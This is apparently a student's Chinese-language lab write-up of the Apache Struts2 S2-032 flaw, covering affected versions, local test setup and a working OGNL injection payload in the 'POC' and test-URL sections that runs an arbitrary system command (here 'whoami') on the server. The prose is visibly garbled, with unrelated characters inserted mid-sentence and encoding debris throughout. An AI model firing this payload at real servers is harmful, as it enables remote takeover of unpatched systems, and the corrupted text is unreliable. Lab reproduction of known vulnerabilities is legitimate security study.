Struts –s2-32
此文僅供大家交流學習欺冀,嚴禁非法使用
一蹄葱、參考網址:
http://www.cnblogs.com/mrchang/p/6501428.html
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-032
二、 影響版本:
Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
三究西、 漏洞介紹:
當啟用動態(tài)方法調用時窗慎,可以傳遞可用于在服務器端執(zhí)行任意代碼的惡意表達式。
method:<name> Action 前綴去調用聲明為 public 的函數(shù)卤材,只不過在低版本中 Strtus2 不會對 name 方法值做 OGNL 計算遮斥,而在高版本中會。.
四扇丛、 環(huán)境搭建:
下載/struts/2.3.24
下載地址:http://archive.apache.org/dist/struts/2.3.24/
百度云鏈接:鏈接:http://pan.baidu.com/s/1dFeUyNv 密碼:279t
下載安裝xampp
部署showcase
1.png
- 解壓
2.png
- 復制到
3.png
重啟tomcat
4.png
- 已成功自動部署
5.png
- 將struts.xml修改
1.png
搭建linux環(huán)境建議使用參考網站的docker環(huán)境
五伏伐、 POC:
?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami
六、 測試網址:
原始網址:
http://127.0.0.1:8080/struts2-showcase/home.action
修改后網址:
http://127.0.0.1:8080/struts2-showcase/home.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami
七晕拆、執(zhí)行結果
2.png
八藐翎、 至此,該漏洞基本利用完畢
本人還是一個未畢業(yè)的小萌新实幕,希望大家多多幫助吝镣,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家
堅決做一名白帽子